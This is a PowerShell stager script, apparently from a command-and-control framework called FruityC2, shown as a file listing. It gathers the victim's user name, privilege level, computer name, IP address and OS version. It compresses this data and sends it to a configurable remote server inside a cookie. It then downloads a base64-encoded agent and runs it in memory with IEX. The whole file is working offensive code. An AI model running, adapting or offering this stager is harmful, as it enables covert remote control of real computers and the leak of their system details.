/
ps_stager.ps1
147 lines (117 loc) · 5.11 KB
/
ps_stager.ps1
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function Invoke-Stager {
param (
$r_server = "",
$r_port = "",
$r_ssl = "",
$UA = ""
)
[bool]$option_base64 = $false
[bool]$option_encryption = $false
[bool]$option_compression = $true
# getUUID
#$string = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography' | Select-Object -ExpandProperty MachineGuid) | Out-String
#$string = $string.Trim()
$UUID = [int][double]::Parse((Get-Date -UFormat %s))
# getUser
$string = ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name) | Out-String
$USER = $string.Trim()
# getMandatoryLabel
if(([Environment]::UserName).ToLower() -eq "system"){$string='4'}
elseif(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -eq $true){$string='3'} # 3=High
else {$string='2'}
$LABEL = $string
# getComputerName
$string = (Get-WmiObject Win32_OperatingSystem).CSName | Out-String
$NAME = $string.Trim()
# getComputerIP
$string = (Test-Connection $env:COMPUTERNAME -count 1 | select Ipv4Address) | FT -HideTableHeaders | Out-String
$IP = $string.Trim()
# getVersion
$string = (Get-WmiObject Win32_OperatingSystem).Name.split('|')[0] | Out-String
$VERSION = $string.Trim()
function getOSArchitecture() {
$string = (Get-WmiObject Win32_OperatingSystem).OSArchitecture | Out-String
$string = $string.Trim()
return $string
}
function Get-Data {
param($path = $script:path_get)
try{
$wc = new-object system.net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$wc.Headers.Add("User-Agent",$UA)
$wc.Headers.Add("Cookie", "SESSIONID=$TARGET;")
$request = "http$($r_ssl)://$($r_server):$($r_port)$($path)"
$data = $wc.DownloadString($request)
return $data
}
catch [Net.WebException] {
#Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
Write-Host "Get-Data ERROR."
}
}
function deflate($data) { # COMPRESS DATA
# REF: https://gist.github.com/strazzere/5faa709a3db9e1dcf3b5
# REF: http://chernodv.blogspot.co.uk/2014/12/powershell-compression-decompression.html
$s = $data
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Compress)
$sw = New-Object System.IO.StreamWriter($cs)
$sw.Write($s)
$sw.Close();
$s = [System.Convert]::ToBase64String($ms.ToArray())
$s = $s.replace("+","-") # BASE64 URLSAFE
$s = $s.replace("/","_") # BASE64 URLSAFE
return $s
}
function inflate($data) { # DECOMPRESS DATA
$data = $data.replace("-","+") # BASE64 URLSAFE
$data = $data.replace("_","/") # BASE64 URLSAFE
$data = [System.Convert]::FromBase64String($data)
#$data = b64decoder($data)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
return $sr.ReadToEnd()
}
Function rx_data($data) {
#if ($option_base64 -eq $true) { $data = b64decoder($data) }
if ($option_compression -eq $true) { $data = inflate($data) }
if ($option_encryption -eq $true) { $data = decrypt($data) }
return $data
}
Function tx_data($data) {
if ($option_encryption -eq $true) { $data = encrypt($data) }
if ($option_compression -eq $true) { $data = deflate($data) }
#if ($option_base64 -eq $true) { $data = b64encoder($data) }
return $data
}
function stager($TARGET) {
$path_stager = -join ((65..90) + (97..122) | Get-Random -Count 30 | % {[char]$_})
$data = Get-Data -path "/$path_stager"
Write-Host "STAGER: $data"
[String]$data = rx_data($data) # DECODE/DECRYPT RECEIVED DATA
[Array[]]$temp = $data.split("|")
$stime = [convert]::ToInt32($temp[0],10)
$jitter = [convert]::ToInt32($temp[1],10)
$UA = $temp[2]
$path_get = $temp[3]
$path_post = $temp[4]
$agent = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($temp[5]))
Write-Host $agent
IEX $($agent)
Invoke-FruityC2 -path_get $path_get -path_post $path_post -jitter $jitter -stime $stime -UA $UA -stager $false -r_server $r_server -r_port $r_port -target $TARGET
}
#$VERSION = getVersion
#$USER = getUser
#$LABEL = getMandatoryLabel
#$NAME = getComputerName
#$IP = getComputerIP
#$UUID = getUUID
$TARGET = tx_data("$UUID|$VERSION|$USER|$LABEL|$NAME|$IP")
stager($TARGET)
}
clear
Invoke-Stager -r_server "**domain**" -r_port "**port**" -UA "**useragent**"